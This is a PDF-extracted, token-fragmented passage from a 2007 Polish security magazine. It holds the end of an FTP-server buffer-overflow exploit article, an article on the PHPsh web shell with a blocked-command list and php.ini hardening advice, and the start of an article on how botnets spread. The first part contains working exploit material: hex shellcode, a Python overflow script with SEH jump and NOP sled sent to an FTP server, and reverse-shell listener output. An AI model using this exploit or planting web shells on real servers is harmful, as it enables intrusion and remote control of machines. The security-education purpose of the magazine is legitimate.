\x

4e

\x

4a

\x

46

\x

58

\x

42

\x

4c"

"

\x

46

\x

57

\x

47

\x

30

\x

41

\x

4c

\x

4c

\x

4c

\x

4d

\x

50

\x

41

\x

30

\x

44

\x

4c

\x

4b

\x

4e"

"

\x

46

\x

4f

\x

4b

\x

33

\x

46

\x

35

\x

46

\x

42

\x

4a

\x

52

\x

45

\x

37

\x

45

\x

4e

\x

4b

\x

38"

"

\x

4f

\x

55

\x

46

\x

52

\x

41

\x

50

\x

4b

\x

4e

\x

48

\x

36

\x

4b

\x

48

\x

4e

\x

50

\x

4b

\x

44"

"

\x

4b

\x

48

\x

4f

\x

55

\x

4e

\x

31

\x

41

\x

30

\x

4b

\x

4e

\x

43

\x

50

\x

4e

\x

32

\x

4b

\x

38"

"

\x

49

\x

38

\x

4e

\x

36

\x

46

\x

42

\x

4e

\x

31

\x

41

\x

46

\x

43

\x

4c

\x

41

\x

33

\x

4b

\x

4d"

"

\x

46

\x

56

\x

4b

\x

38

\x

43

\x

44

\x

42

\x

53

\x

4b

\x

48

\x

42

\x

54

\x

4e

\x

50

\x

4b

\x

48"

"

\x

42

\x

37

\x

4e

\x

41

\x

4d

\x

4a

\x

4b

\x

58

\x

42

\x

54

\x

4a

\x

50

\x

50

\x

55

\x

4a

\x

56"

"

\x

50

\x

38

\x

50

\x

44

\x

50

\x

50

\x

4e

\x

4e

\x

42

\x

55

\x

4f

\x

4f

\x

48

\x

4d

\x

48

\x

46"

"

\x

43

\x

55

\x

48

\x

46

\x

4a

\x

56

\x

43

\x

33

\x

44

\x

53

\x

4a

\x

56

\x

47

\x

37

\x

43

\x

37"

"

\x

44

\x

43

\x

4f

\x

55

\x

46

\x

35

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

36

\x

4b

\x

4c

\x

4d

\x

4e"

"

\x

4e

\x

4f

\x

4b

\x

33

\x

42

\x

35

\x

4f

\x

4f

\x

48

\x

4d

\x

4f

\x

35

\x

49

\x

48

\x

45

\x

4e"

"

\x

48

\x

46

\x

41

\x

48

\x

4d

\x

4e

\x

4a

\x

50

\x

44

\x

50

\x

45

\x

55

\x

4c

\x

56

\x

44

\x

30"

"

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

46

\x

49

\x

4d

\x

49

\x

50

\x

45

\x

4f

\x

4d

\x

4a

\x

47

\x

45"

"

\x

4f

\x

4f

\x

48

\x

4d

\x

43

\x

35

\x

43

\x

55

\x

43

\x

35

\x

43

\x

55

\x

43

\x

34

\x

43

\x

45"

"

\x

43

\x

44

\x

43

\x

45

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

36

\x

42

\x

4c

\x

4a

\x

4a

\x

42

\x

50"

"

\x

42

\x

47

\x

48

\x

56

\x

4a

\x

56

\x

42

\x

51

\x

41

\x

4e

\x

48

\x

56

\x

43

\x

35

\x

49

\x

38"

"

\x

41

\x

4e

\x

45

\x

49

\x

4a

\x

46

\x

4e

\x

4e

\x

49

\x

4f

\x

4c

\x

4a

\x

42

\x

36

\x

47

\x

45"

"

\x

4f

\x

4f

\x

48

\x

4d

\x

4c

\x

56

\x

42

\x

31

\x

41

\x

35

\x

45

\x

55

\x

4f

\x

4f

\x

42

\x

4d"

"

\x

48

\x

56

\x

4c

\x

46

\x

46

\x

56

\x

48

\x

36

\x

4a

\x

56

\x

43

\x

36

\x

4d

\x

56

\x

4c

\x

36"

"

\x

42

\x

35

\x

49

\x

35

\x

49

\x

42

\x

4e

\x

4c

\x

49

\x

48

\x

47

\x

4e

\x

4c

\x

56

\x

46

\x

44"

"

\x

49

\x

38

\x

44

\x

4e

\x

41

\x

43

\x

42

\x

4c

\x

43

\x

4f

\x

4c

\x

4a

\x

45

\x

49

\x

49

\x

38"

"

\x

4d

\x

4f

\x

50

\x

4f

\x

44

\x

44

\x

4d

\x

52

\x

50

\x

4f

\x

44

\x

54

\x

4e

\x

52

\x

4d

\x

38"

"

\x

4c

\x

47

\x

4a

\x

33

\x

4b

\x

4a

\x

4b

\x

4a

\x

4b

\x

4a

\x

4a

\x

36

\x

44

\x

57

\x

50

\x

4f"

"

\x

43

\x

4b

\x

48

\x

41

\x

4f

\x

4f

\x

45

\x

37

\x

4a

\x

52

\x

4f

\x

4f

\x

48

\x

4d

\x

4b

\x

35"

"

\x

47

\x

55

\x

44

\x

35

\x

41

\x

45

\x

41

\x

55

\x

41

\x

35

\x

4c

\x

36

\x

41

\x

30

\x

41

\x

55"

"

\x

41

\x

55

\x

45

\x

55

\x

41

\x

55

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

36

\x

4d

\x

4a

\x

49

\x

4d"

"

\x

45

\x

30

\x

50

\x

4c

\x

43

\x

55

\x

4f

\x

4f

\x

48

\x

4d

\x

4c

\x

36

\x

4f

\x

4f

\x

4f

\x

4f"

"

\x

47

\x

43

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

46

\x

47

\x

4e

\x

49

\x

47

\x

48

\x

4c

\x

49

\x

37"

"

\x

4f

\x

4f

\x

45

\x

47

\x

46

\x

50

\x

4f

\x

4f

\x

48

\x

4d

\x

4f

\x

4f

\x

47

\x

37

\x

4e

\x

4f"

"

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

46

\x

42

\x

4f

\x

4c

\x

48

\x

46

\x

50

\x

4f

\x

45

\x

43

\x

55"

"

\x

4f

\x

4f

\x

48

\x

4d

\x

4f

\x

4f

\x

42

\x

4d

\x

5a"

)

buffer

 

=

 '\

x41

'

*

2043

 

+

 

ret

 

+

 

"

\x

90"

*

52

 

+

"

\x

EB

\x

08

\x

90

\x

90"

 

+

"

\x

16

\x

02

\x

01

\x

10"

+

'\

x90

'

*

8

+

shellcode

+

'\

x90

'

*

186

s

=

socket

.

socket

(

socket

.

AF_INET

socket

.

SOCK_STREAM

)

connect

=

s

.

connect

((

'

192.168

.

0.100

',

21

))

d

=

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

USER

 

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

PASS

 

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

buffer

+

'

r

\

n

'

)

background image

Offensive Security

hakin9 Nr 7/2007

www.hakin9.org

19

Ku  mojemu  zdziwieniu  i  zasko-

czeniu  zadziałało  i  mój  exploit  wy-
konywał  pomyślnie  kod  zarówno 
pod Windows 2000, jak i pod Win-
dows 2003.

Przejęcie kontroli

Używając  zmodyfikowanego  exploita 
zdołałem  uruchomić  reverse  meter-

preter shell na maszynie ofiary i zdo-
być  do  niej  dostęp.  Okazało  się,  że 
była  to  stacja  z  systemem  Windows 
2003 SP0.

Podsumowanie

Bawiąc  się  finalną  wersją  exploita  na 
Windows  2000  SP4  zdałem  sobie 
sprawę  z  tego,  że  mogłem  stworzyć 
uniwersalny exploit w o wiele prostszy 
sposób.  AuthManager.dll  (tej  konkret-
nej  wersji  GSFTPS)  jest  wczytywany 
przy  takich  samych  adresach  zarów-
no w Windows 2000, jak i w Windows 
2003.  Przy  nadużyciu  jedynie  SEH 

exploit byłby uniwersalny w Windows, 
ale zależny od wersji GSFTPS. l

Rysunek 11. 

Windows 2003

CALL ESP

W2kSP4

52 NOPS

Shellcode

Short

Jump

POP POP RET

W2k3SPO

Bad

Jump

SEH Called

Rysunek 10. 

Windows 2000

CALL ESP

W2kSP4

52 NOPS

Shellcode

Short

Jump

POP POP RET

W2k3SPO

Good

Jump

Rysunek 9. 

Wywołana SEH, nadpisywanie EIP

O autorze

Mati Aharoni jest ekspertem w dziedzi-
nie  bezpieczeństwa  sieciowego,  aktu-
alnie  współpracuje  z  izraelskimi  agen-
cjami  wojskowymi  i  rządowymi.  Na  co 
dzień  zajmuje  się  badaniem  luk,  pisa-
niem exploitów i testami penetracyjnymi 
(whitebox / blackbox). 

Listing 11. 

Reverse Shell na 

Windows 2003 SP0:

BT

 ~ 

nc

 

-

lvp

 

4321

listening

 

on

 

[

any

]

 

4321

 

connect

 

to

 

[

192.168

.

0.112

]

 

from

   

win2k3std

.

localdomain

 

      

[

192.168

.

0.110

]

 

1073

Microsoft

 

Windows

 

[

Version

 

5.2

.

3790

]

(

C

)

 

Copyright

 

1985

-

2003

   

Microsoft

 

Corp

.

C

:

\

WINDOWS

\

system32

>

Listing 12. 

Reverse Shell na 

Windows 2000 SP4:

BT

 ~ # 

nc

 

-

lvp

 

4321

listening

 

on

 

[

any

]

 

4321

 

connect

 

to

 

[

192.168

.

0.112

]

 

from

 

   97

DACBEC7CA4483

.

       

localdomain

 

[

192.168

.

0.100

]

 

1106

 

Microsoft

 

Windows

 

2000

   

[

Version

 

5.00

.

2195

]

(

C

)

 

Copyright

 

1985

-

2000

   

Microsoft

 

Corp

.

C

:

\

WINNT

\

system32

>

background image

www.hakin9.org

hakin9 Nr 7/2007

20

Atak

C

zy  jest  coś  bardziej  irytującego  niż 
przenoszenie  tysięcy  plików  na  swój 
serwer  WWW,  korzystając  z  dostępu 

poprzez konto FTP? Wielu użytkowników cier-
pliwie wykorzystuje jedyny dostęp do swojego 
serwisu,  użytkuje  protokół  FTP  i  czeka  kilka-
dziesiąt minut na zakończenie operacji transmi-
sji danych. Jak w prosty sposób poznać ścież-
kę do wybranego katalogu? Jak szybko zrobić 
kopię zapasową plików serwera ?

Wyobraźmy  sobie  następującą,  typową  sy-

tuację,  kiedy  chcemy  zainstalować  rozbudowa-
ny serwis WWW na serwerze, aby każdy mógł 
zobaczyć  wyniki  naszej  pracy.  Wydawać,  by 
się mogło, że nic prostszego – po przetestowa-
niu naszego serwisu lokalnie, decydujemy się w 
końcu na transfer wszystkich plików do zdalne-
go katalogu. I tu zaczyna się problem. Taka ope-
racja trwa bardzo długo. Jak wiadomo, przesył 
tej samej objętości w wielu osobnych plikach nie 
jest  tożsamy  czasowo  z  transmisją  identycznej 
ilości danych w jednym pliku. Po udanej operacji 
możemy cieszyć się działającym serwisem. Lecz 
całkiem niedługo będziemy z pewnością chcieli 
wykonać kopię zapasową bądź usunąć wszyst-
kie pliki. I znów czekają nas wtedy długie minu-
ty zbędnej zwłoki, podczas gdy można by w tym 

czasie zrobić coś bardziej produktywnego. Wła-
śnie tego rodzaju problemy skłoniły mnie do po-
szukiwań alternatywnego rozwiązania i obejścia 
całej tej żmudnej oraz czasochłonnej operacji.

O  ileż  prościej  byłoby  spakować  wszyst-

kie  pliki  do  archiwum,  skorzystać  z  dostępu 
do shella i skopiować oraz rozpakować pliki na 
zdalnym serwerze! Owszem, byłoby to bardzo 
proste, lecz często spotka nas tutaj rozczaro-
wanie. Otóż okazuje się, iż dostawca naszego 

PHPsh – dostęp do shell’a

Piotr Nowak

stopień trudności

Wiele firm hostingowych nie udziela dostępu do shella dla 

zwykłych kont WWW, istnieje jednak możliwość obejścia tego 

ograniczenia w łatwy oraz przyjemny dla użytkownika sposób, nie 

naruszając przy tym żadnych zagadnień legalności.

Z artykułu dowiesz się

•   jak uzyskać dostęp do shella na serwerze nie 

wyposażonym w taką usługę,

•   jak skonfigurować PHPsh, by móc bezpiecznie 

z niego korzystać.

Co powinieneś wiedzieć

•   znajomość  podstawowych  informacji  na  temat 

shell w linux,

•   znajomość podstaw języka PHP umożliwiająca 

świadomą konfigurację skryptu PHPsh,

•   umiejętność  umieszczenia  skryptu  na  serwe-

rze WWW.

background image

PHPsh

hakin9 Nr 7/2007

www.hakin9.org

21

konta WWW nie udziela nam dostę-
pu do shella. Posiadamy jedynie do-
stęp przez FTP. Dostęp do shella naj-
częściej jest udzielany dla serwerów 
dedykowanych, ale jest to rozwiąza-
nie dużo droższe i często nadmiaro-
we w stosunku do potrzeb przecięt-
nego internauty, chcącego podzielić 
się swoim serwisem WWW.

Okazuje  się,  że  jest  eleganc-

kie i wysoce efektywne wyjście z te-
go  impasu!  Wystarczy  nam  miano-
wicie  zwykła  przeglądarka  interneto-
wa, obsługa języka PHP na serwerze 
oraz skrypt symulujący pracę powło-
ki o nazwie PHPsh!. Jak sugeruje na-
zwa skryptu, jest to shell, który pozwa-
la wprowadzać komendy powłoki oraz 
obserwować wyniki ich działania bez-
pośrednio na serwerze.

PHPsh  został  wymyślony  po  to, 

aby ułatwić życie webmasterom oraz 
administratorom  i  dać  im  namiast-
kę  prawdziwego  dostępu  do  shella. 
Rozwiązanie to różne jest od posta-
wy dostawców usług serwera, którzy 
w takim dostępie często upatrują wię-
cej niebezpieczeństw niż korzyści.

Dla  jasności,  omówmy  najpierw, 

co PHPsh potrafi, a czego nie, w od-
różnieniu  od  prawdziwego  shella. 
PHPsh jest uproszczoną wersją bash 
shell,  wykorzystującą  funkcję  języka 
PHP 

popen()

,  dzięki  której  możemy 

uruchamiać dowolne polecenia za po-
mocą pewnych wbudowanych mecha-
nizmów  PHP.  Funkcja 

popen()

  swoje 

działanie opiera na uruchomieniu pro-
gramu, stworzeniu potoku do niego, a 
następnie  zwrocie  wskaźnika  do  pli-
ku, analogicznie jak dla funkcji 

fopen()

Posiada  wygodny  mechanizm  zapa-

miętywania  ostatnio  wykonywanych 
komend, co doskonale znamy z praw-
dziwego shella wciskając przycisk kur-
sora  w  górę.  PHPsh  jest  wygodnym 
środowiskiem przeglądania dostępne-
go systemu plików oraz wykonywania 
na nim wszelkich operacji. Jest darmo-
wym  oprogramowaniem,  dostępnym 
dla każdego bez żadnych opłat.

PHPsh NIE JEST natomiast inte-

raktywnym shellem. Nie może utrzy-
mywać więc aktywnych sesji, a co za 
tym  idzie,  nie  możemy  uruchamiać 
edytorów typu vi czy mc. Skrypt działa 
w oparciu o protokół HTTP, który jest 
bezstanowy z założenia i właśnie ten 
fakt nakłada powyższe ograniczenie. 
Należy  także  pamiętać,  iż  narzędzie 
to może stać się bardzo niebezpiecz-
ne w niepowołanych rękach, gdyż nie 
posiada  specjalnych  zabezpieczeń 
poza prostą ochroną IP i limitem do-
stępnych komend, o czym poniżej.

Instalacja skryptu 

na serwerze

Instalacja jest trywialnie prosta i spro-
wadza  się  właściwie  do  edycji  oraz 
skopiowania  pliku  phpsh.php  do  wy-
branego  katalogu  serwera.  Najnow-
szą  wersję  skryptu  można  pobrać 
pod adresem http://www.psychogenic. 

com/en/products/PHPsh/phpsh-la-

test.tar.bz2.

A  więc  do  dzieła,  na  potrzeby 

przykładu  zakładam,  iż  po  rozpako-
waniu  archiwum,  skrypt  phpsh.php 
skopiowano  poprzez  ftp  na  serwer 

www.example.com  do  głownego  ka-
talogu  (/phpsh.php).  Oczywiście  na-
zwa serwera jest przykładowa i nale-
ży zmienić ją na własną. Kolejnym eta-
pem  konfiguracji  jest  zmiana  linii  ko-
du, dzięki której skrypt będzie działał 
tylko z jednym adresem IP odwołują-
cym się do niego. Należy zmienić linij-
kę 

$MyIPAddress  =  '127.0.0.1'; 

w ten 

sposób, aby zmienna 

$MyIPAddress

 za-

wierała nasz aktualny adres IP widzia-

ny  z  zewnątrz.  Aktualny  adres  moż-
na  sprawdzić  szybko  na  dwa  spo-
soby.  Możemy  wejść  na  stronę  http:

//www.ip-adress.com bądź odwiedzić 
naszą  stronę  z  skryptem  phpsh.php 

http://www.example.com/phpsh.php  i 
odczytać  komunikat  informujący  nas 
o braku dostępu, gdzie podany został 
także nasz aktualny adres IP, który w 
tej chwili jest blokowany. Istnieje także 
możliwość przypisania puli adresów IP 
mających prawo dostępu do skryptu.

Po  poprawnym  wykonaniu  po-

wyższych  operacji  możemy  już 
sprawdzić  poprawność  działania 
powłoki.  W  tym  celu  należy  odwie-
dzić adres http://www.example.com/

phpsh.php. Powinniśmy wówczas uj-
rzeć ekran jak na Rysunku 1.

Omówienie interfejsu 

programu

Elementy  interfejsu  oznaczone  cy-
frami na Rysunku 2. zostały omówio-
ne poniżej:

•   wynik  ostatnio  wykonanej  ko-

mendy [1], 

•   pole  tekstowe  służące  do  wpro-

wadzania komend [2],

•   historia  wywoływanych  ostatnio 

poleceń. Klawiszem [TAB] można 
ustawić  focus  na  to  pole,  by  na-
stępnie używając klawiszy strza-
łek  góra,  dół  przemieszczać  się 
po historii [3],

•   zawartość  bieżącego  katalogu. 

Nazwy katalogów oraz plików są 
łączami,  stąd  można  w  bardzo 
prosty  sposób  nawigować  klika-
jąc  jedynie  owe  łącza.  Oczywi-
ście  nawigacja  może  odbywać 
się w tradycyjny sposób za pomo-
cą komendy cd [4],

•   pole  pozwala  załadować  plik  do 

bieżącego katalogu, o ile posiada-
my prawa do zapisu. Należy zwró-
cić również uwagę na ogranicze-
nie  maksymalnej  wielkości  pliku, 
jaki  może  zostać  wysłany  meto-
dą POST, co zależy od ustawień 
php.ini. [5],

•   zamiana  znaków  specjalnych,  ta-

kich  jak  <,  >,  &  itd.  (HTML  esca-
ping), w taki sposób, aby mogły być 
wyświetlane,  a  nie  interpretowane 
przez przeglądarkę HTML [6].

Rysunek 1. 

PHPsh po poprawnej instalacji

W Sieci

http://www.psychogenic.com/en/
products/PHPsh.php
  –  Strona  domo-
wa projektu PHPsh

background image

hakin9 Nr 7/2007

www.hakin9.org

Atak

22

W jaki sposób 

używać PHPsh?

Większość  typowych  operacji,  jakie 
nas  będą  interesować,  opiera  się  na 
kopiowaniu, tworzeniu archiwów, usu-
waniu oraz pozyskiwaniu informacji o 
plikach  i  katalogach.  W  tym  miejscu 
mamy pełną dowolność w stosowaniu 
typowych komend shella, z jednym tyl-
ko zastrzeżeniem. Część komend jest 
mianowicie zablokowanych domyślnie 
ze względów bezpieczeństwa. Na liście 
domyślnie zablokowanych komend są: 
rm, ssh, passwd, su, ping, telnet. Aby 
odblokować  wybrane  bądź  wszystkie 
komendy,  należy  w  pliku  phpsh.php 
odszukać linię 

disabledcommands' 

=>  array('rm',  'ssh',  'passwd',  'su', 
'ping', 'telnet') 

a następnie usunąć 

z  tablicy  te  elementy,  które  chcemy 
mieć  dostępne.  Jeśli  zatem  chcemy 
mieć możliwość usuwania plików oraz 
katalogów, należy usunąć z tablicy ele-
ment 'rm'.

Od tego momentu można praco-

wać z skryptem niemal równie inte-
raktywnie  jak  z  prawdziwym  shel-
lem. W polu nr 2 na Rysunku 2. wpi-
sujemy  komendę  i  zatwierdzamy 
klawiszem  [Enter]  lub  klikając  przy-
cisk  z  etykietą  Do.  Możemy  wyko-
nywać  wszystkie  dostępne  polece-
nia  i  na  bieżąco  obserwować  wyni-
ki ich działania.

Przypadek użycia

Przypuśćmy, iż chcemy wykonać ty-
pową  operację,  jaką  jest  wykona-
nie kopii zapasowej serwisu WWW. 
W tym celu wykorzystamy komendy 
shella: ls, zip, mkdir, mv.

Załóżmy, że katalog z plikami ser-

wisu  nazywa  się  WWW  i  znajduje  w 
lokalizacji /, czyli / WWW. Aby wyko-
nać kopię zapasową, utworzymy naj-
pierw  katalog,  gdzie  będziemy  trzy-
mać wszystkie utworzone archiwa ser-
wisu. W tym celu tworzymy katalog o 
nazwie backup w lokalizacji / (/backup) 
poleceniem  mkdir  backup.  Następnie 
spakujemy całą treść serwisu polece-
niem zip w sposób następujący: zip -r 

backup.zip /www. W ten sposób utwo-
rzyliśmy  skompresowaną  wersję  ser-
wisu  w  postaci  jednego  pliku,  którym 
teraz łatwiej manipulować. Aby spraw-
dzić,  czy  plik  został  faktycznie  utwo-
rzony  i  jaki  ma  rozmiar,  możemy  wy-
konywać  polecenie  ls  -al  backup.zip
Przenieśmy następnie ten plik do kata-
logu backup. Polecenie mv backup.zip 

/backup wykonuje powyższe zadanie. 
Katalog backup należy oczywiście za-
bezpieczyć przed potencjalnym odczy-
taniem przez niepowołane osoby. Jed-
nym  z  sposobów  aby  tego  dokonać, 
jest  napisanie  reguł  dostępu  w  pliku 
.htaccess i umieszczenie go w chronio-
nym katalogu. Szczegóły na ten temat 

można  znaleźć  w  Sieci  pod  adresem 
http://httpd.apache.org/docs/1.3/mod/
mod_access.html.  To  wszystko!  W 
szybki sposób, krócej niż w minutę, za 
pomocą  shella  wykonaliśmy  zadanie, 
które w przypadku dużej ilości plików 
katalogu /WWW zajęłoby nawet kilka-
dziesiąt minut! Nie trzeba prosić admi-
nistratorów serwera o pomoc, wszyst-
ko zrobiliśmy sami i w każdej chwili mo-
żemy wykonać kolejne operacje dzięki 
PHPsh. Wspaniale!

Aliasy komend

Często zachodzi potrzeba stworzenia 
aliasu  jakiejś  złożonej  komendy.  Już 
choćby  proste  polecenie  ls  -l  powta-
rzane  wiele  razy  może  stać  się  mę-
czące i można je zastąpić nieco krót-
szym ll. Dlatego ku uciesze osób obe-
znanych z linuxem, możliwość tworze-
nia  aliasów  jest  dostępna  również  w 

Listing 1. 

Konfiguracja aliasów 

komend

aliases

'  => array(

 

'

ls

'  => '

ls -F

',

 

'

lh

'  => '

ls -F -lth | head 

',

 

'

fgr

'  => '

find . -type f | 

xargs -n 
100 grep 

',

 

'

psa

'  => '

ps waux',

)

,

Rysunek 2. 

Interfejs PHPsh

background image

PHPsh

PHPsh.  W  pliku  phpsh.php  możemy 
znaleźć fragment jak na Listingu 1.

Listing  1.  pokazuje,  w  jaki  spo-

sób  można  tworzyć  własne  aliasy, 
dostępne za każdym razem podczas 
działania skryptu.

Zagadnienia 

bezpieczeństwa

Ponieważ PHPsh jest dostępne dla każ-
dego ze względu na dostępność przez 

WWW, należy dołożyć wszelkich sta-
rań,  aby  maksymalnie  ograniczyć  do-
stępność skryptu dla innych, niepowo-
łanych  do  tego  osób.  Przede  wszyst-
kim należy ograniczyć pulę adresów IP, 
które mogą korzystać z shella, co omó-
wiono w wcześniejszej części artykułu. 
Ze względu na małe rozmiary skryptu, 
wskazane  jest  jego  umieszczenie  na 
serwerze  tylko  na  czas  wykonywania 
operacji i jego usunięcie po zakończe-
niu wszystkich prac. W miarę możliwo-
ści warto stosować połączenia szyfro-
wane SSL (https). Dobrym pomysłem 
jest, by ograniczyć listę dostępnych ko-
mend,  szczególnie  tych  niebezpiecz-
nych jak np. rmsshpasswdsuping

telnet,  wget,  df,  uname,  dzięki  którym 
można  dokonywać  potencjalnie  nie-
bezpiecznych  operacji,  począwszy  od 
usuwania plików (rm), przez próby za-
pychania łącza przez ściąganie dużych 
plików  (wget)  po  zmianę  hasła  (pwd). 
Należy także pamiętać o tym, iż dostęp 
do shella wiąże się z uzyskaniem wie-
lu przydatnych informacji dla potencjal-
nego złośliwego hackera (polecenia df

uname). Stąd niezwykle istotne jest ta-
kie zabezpieczenie skryptu, aby w jak 
najmniejszym  stopniu  miały  do  niego 
dostęp osoby trzecie.

Czasem,  będąc  administratorem 

serwera  WWW,  chcielibyśmy  zablo-
kować  możliwość  stosowania  przez 
użytkowników rozwiązań typu PHPsh. 
Aby uniemożliwić działanie PHPsh lub 

innych  skryptów  opierających  swoje 
działanie o funkcje uruchamiające pro-
gramy, należy wykluczyć je z listy ob-
sługiwanych komend interpretera PHP. 
W tym celu do pliku konfiguracyjnego 
PHP  php.ini,  należy  dodać  następu-
jącą  linię: 

disable _ functions  =  dl, 

exec, passthru, system, shell _ exec, 
popen. 

Powyższy zabieg uniemożliwia 

wykonywanie  jakichkolwiek  komend 
powłoki z poziomu PHP, co zabezpie-
cza serwer przed niepowołanym dostę-
pem do poleceń dostępnych z shella.

Dostępność

PHPsh działa dzięki wbudowanej w ję-
zyk  PHP  funkcji 

popen()

,  a  więc  jeśli 

tylko provider usługi nie zablokował tej 
funkcji,  z  pewnością  będziemy  mogli 
się cieszyć dostępem do shella. Pod-
czas  pisania  tego  artykułu  pracowa-
łem na serwerach home.pl, gdzie funk-
cja 

popen()

 jest jak najbardziej dozwo-

lona i wszystko działało doskonale.

Podsumowanie

Pomimo  braku  dostępu  do  shella  w 
większości kont WWW, możemy sobie 
poradzić z tym problemem w mniej niż 
5 minut, instalując skrypt PHPsh. Na-
leży pamiętać, że nie każdy dostawca 
usług  pozwala  na  wykonywanie  ope-
racji, dzięki którym PHPsh działa i za-
wsze  będzie  trzymać  rękę  na  pulsie, 
jeśli chodzi o bezpieczeństwo tak uni-
wersalnego narzędzia – shell. l

Inne rozwiązania dostę-

pu do shell z PHP

Więcej na temat dostępu do shell z uży-
ciem języka PHP, jak też bezpieczeń-
stwa  oraz  mechanizmów  podobnych 
do  funkcji 

popen()

,  takich  jak 

exec

passthru,

 

system

shell _ exec

proc _ open

  można  znaleźć  w  zaso-

bach Internetu oraz marcowym wyda-
niu hakin9 (3/2007).

O autorze

Autor  jest  studentem  Politechniki  Ślą-
skiej  w  Gliwicach  oraz  pracownikiem 
jednej  z  największych  firm  teleinfor-
matycznych  w  Polsce.  Zajmuje  się 
przede  wszystkim  tworzeniem  aplika-
cji WWW w oparciu o technologie JEE, 
.NET, PHP.

Kontakt z autorem: 

p.nowak2@gmail.com

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 7/2007

24

Atak

B

oty zaczęły rozprzestrzeniać się na ma-
sową skalę pod koniec 2003 roku - wy-
korzystując  do  tego  celu  lukę  w  inter-

fejsie RPC, wykrytą parę miesięcy wcześniej. 
Luka ta stanowiła doskonałą okazję do zainfe-
kowania ogromnej liczby komputerów przy ma-
łym  nakładzie  środków.  Na  powodzenie  zma-
sowanych ataków złożyło się tu wiele czynni-
ków,  m.in.:  niska  świadomość  użytkowników, 
dostępność  kodu  P-O-C  z  optymalnym  shel-
lcode’m  oraz  dostępność  kodów  źródłowych 
botów  (m.in.  Sd-bot,  Spybot).  Od  tego  czasu 
oprogramowanie  takie  przeżywa  rozkwit,  do-
skonalone są techniki jego rozprzestrzeniania-
oraz ukrywania się w systemie.

Metody rozprzestrzeniania się

Jedną  z  podstawowych  cech  botów  jest  możli-
wość  rozprzestrzeniania  się.  Techniki  te  ewolu-
owały od momentu powstania botów do dnia dzi-
siejszego. Początkowo boty rozprzestrzeniały się 
w sposób podobny do wirusów – były wysyłane 
jako  załączniki  e-mail.  Treść  listu  była  tworzo-
na  z  użyciem  technik  inżynierii  społecznej  (so-

cial engineering) – tak, aby nakłonić użytkowni-
ka do otwarcia załącznika. Dzisiaj programy anty-
wirusowe automatycznie skanują jednak załącz-

niki  potrafią na podstawie sygnatur lub zacho-
wania  aplikacji  wykryć  znane  boty.  Innym  spo-
sobem  ich  rozprzestrzeniania  się  jest  wykorzy-
stywanie  luk  w  aplikacjach  sieciowych,  najczę-
ściej  Microsoft  Internet  Explorer  oraz  Microsoft 
Outlook.  Specjalnie  utworzony  exploit,  instalu-
jący  bota,  jest  umieszczany  na  serwerze  Web. 
Link  do  spreparowanej  strony  rozpowszech-
niany  jest  na  wszelkie  możliwe  sposoby  -  po-
przez  komunikatory  sieciowe,  IRC,  mail,  grupy 
dyskusyjne czy też fora internetowe. Gdy ofiara 

Metody rozpowszechniania 

się botnetów

Dawid Gołuński, Krzysztof Kułaj

stopień trudności

Sieci botnet są coraz bardziej rozpowszechnione. Z danych 

statystycznych wynika, że co 4 komputer domowy w Sieci to 

Zombie. W jaki sposób się one rozprzestrzeniają, co potrafią 

i dlaczego nie można sobie z nimi poradzić – na te pytania 

Czytelnik uzyska odpowiedź po przeczytaniu tego artykułu. 

Z artykułu dowiesz się

•   w  jaki  sposób  działają  boty  (metody  infekcji, 

ukrywanie się w systemie),

•   nauczysz  się  analizować  skompilowany  plik 

bota,

•   poznasz zagrożenia płynące z Sieci typu bot-

net.

Co powinieneś wiedzieć

•   znać podstawy C,
•   znać podstawy assemblera,
•   znać podstawy Sieci TCP/IP.

background image

Sieci zombie

hakin9 Nr 7/2007

www.hakin9.org

25

aktywuje link, a używana przeglądar-
ka jest podatna na błąd, bot zainsta-
luje się w systemie. Luki wykorzysty-
wane do tego ataku są wybierane ze 
względu  na  takie  czynniki,  jak:  ilość 
podatnego  oprogramowania,  popu-
larność aplikacji, uniwersalny shellco-
de  (najlepiej  niezależny  od  wersji  ję-
zykowej  Windows  lub  programu).  In-
nym  sposobem  na  infekcję  użytkow-
ników  jest  skanowanie  Sieci  w  po-
szukiwaniu  niezaktualizowanych  sys-
temów.  Najczęściej  wykorzystywane 
luki to : SRVSVC (MS06-040),  PNP 
(MS05-039)  ,  ASN.1  (MS04-007), 
LSASS  (MS04-011),  DCOM  (MS03-
026)  –  (MS03-043),  (MS03-049). 
(bardziej  dociekliwi  czytelnicy  mogą 
zapoznać się ze szczegółami tych luk 
na stronach Microsoft, podając nume-
ry  indeksowe  zawarte  w  nawiasach). 
Publicznie dostępne boty, m.in. RxBot

GT-Bot  posiadają  zaimplementowa-
ne  przeszukiwanie  Sieci  oraz  infek-
cję  za  pomocą  wyżej  wymienionych 
dziur. Ciekawym sposobem infekowa-
nia systemów jest wyszukiwanie kom-
puterów i infekcja za pomocą Netbios. 
Schemat ataku wygląda następująco: 
agresor wyszukuje komputer z otwar-
tym portem 139, następnie próbuje się 
z nim połączyć. Jeśli połączenie doj-
dzie do skutku z pustym hasłem, ko-
piuje się do wszystkich możliwych lo-
kacji.  Jeśli  istnieje  hasło,  bot  będzie 
próbował  odgadnąć  hasło,  podsta-
wiając  najczęściej  występujące  sło-
wa. Często wykorzystywane są dziu-
ry  w  standardowych  lokalnych  apli-
kacjach,  np.  Microsoft  Word  czy  Mi-
crosoft  PowerPoint.  Atakujący  wy-
syła  odpowiednio  spreparowany  plik 

.doc  lub  .pps  w  załączniku  do  e-ma-
ila.  Tym  sposobem  można  wykorzy-
stać niemalże każdą lukę występującą 
w lokalnym systemie. Jedynym ogra-
niczeniem  jest  treść  e-maila  –  musi 
być  wystarczająco  przekonywująca 
– co z reguły nie jest najtrudniejszym 
zadaniem,  jeśli  rozszerzenie  załącz-
nika  nie  jest  plikiem  wykonywalnym. 
Ten atak ma jedną wadę – nie może 
być on kierowany do wielu użytkowni-
ków, gdyż jeśli trafi do firm antywiruso-
wych, jego sygnatury zostaną dodane 
